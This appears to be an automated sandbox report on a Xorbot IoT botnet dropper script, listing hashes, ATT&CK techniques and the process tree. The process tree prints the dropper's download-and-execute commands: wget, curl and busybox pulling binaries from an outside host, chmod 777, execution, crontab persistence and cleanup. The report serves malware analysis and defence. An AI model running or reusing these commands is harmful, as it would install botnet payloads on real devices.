xorbot | cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18-02-2025 04:37

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General

Target

bins.sh
Size

10KB
MD5

129dd74106c86f6d4928cda4bb98caa0
SHA1

5edca1654f4802559af681b6818a0287a3e0021d
SHA256

cc44fb06029f4ca74d159587bedf7dd8a9b1e8d88c4b7523cc0aa6d751cc9ce1
SHA512

b0956892881551ac423d01b80701907e123bfae9d470d6925df04eba32d8343003ee1094241a18616af74cce2573009a7f40e60432b4ecbcc39aeb6f29459782
SSDEEP

192:nSRNW23Cm1QA4b/mRxsJlsP/OwyNH/Cm1QAwb/mRxAJlsP/l:nSRNW2MJlsP/OwyNHEJlsP/l

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1120) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
762	chmod
782	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	763	bins.sh
/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	783	bins.sh

Renames itself 1 IoCs

pid	Process
784	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.tv4lDO	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/24/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/26/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/806/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/976/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/804/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/854/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/857/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/867/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/921/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/929/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/43/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/817/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/894/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/910/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/932/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/789/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/11/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/293/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/325/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/3/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/949/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/112/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/830/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/853/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/310/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/844/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/933/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/951/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/791/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/880/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/916/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/120/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/828/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/865/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/881/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/899/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/819/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/873/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/990/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/875/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/888/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/896/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/898/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/983/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/2/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/7/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/294/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/650/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/926/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/946/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/779/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/840/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/893/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/20/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/887/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/936/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/42/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/814/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/856/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/937/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
File opened for reading	/proc/945/cmdline	dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
776	busybox
793	wget
657	wget
694	curl
761	busybox
766	wget
769	curl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	wget
File opened for modification	/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP	curl
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	wget
File opened for modification	/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:653
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:657
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - System Network Configuration Discovery
  PID:761
- /bin/chmod
  chmod 777 YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  ./YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:763
- /bin/rm
  rm YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP
  2⤵
  PID:765
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:766
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:769
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - System Network Configuration Discovery
  PID:776
- /bin/chmod
  chmod 777 dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  ./dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:783
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:785
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:786
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:787
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:788
- /bin/rm
  rm dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JvCRPbxxd2V3mhUrMfV7JiZpP9nBy2Kony
  2⤵
  - System Network Configuration Discovery
  PID:793

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/YMDAbTh5ksv2IS1puadKhZMCqyE95GhIqP

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/dON7rUFpfrbJCR3z46HsdnNPXsu1LTNVTi

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.tv4lDO

Filesize
210B

MD5
fa53605bb6e53cd122e02539044acdc1

SHA1
1b80462092082c33e325109fd33830ffcce99a84

SHA256
6e3f427e4247897649ee17467e5547501c136ec8a26004d8d617b5c5972cf50f

SHA512
1cd09f40a938f2bf33523d53216152ecf6cbb5e0bd0a0eb45008400adc9763ee5c4ddb520300e44d9042cf73bd572b2a60ec1fbd8cc7a35067316bea6b7dd2e4

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads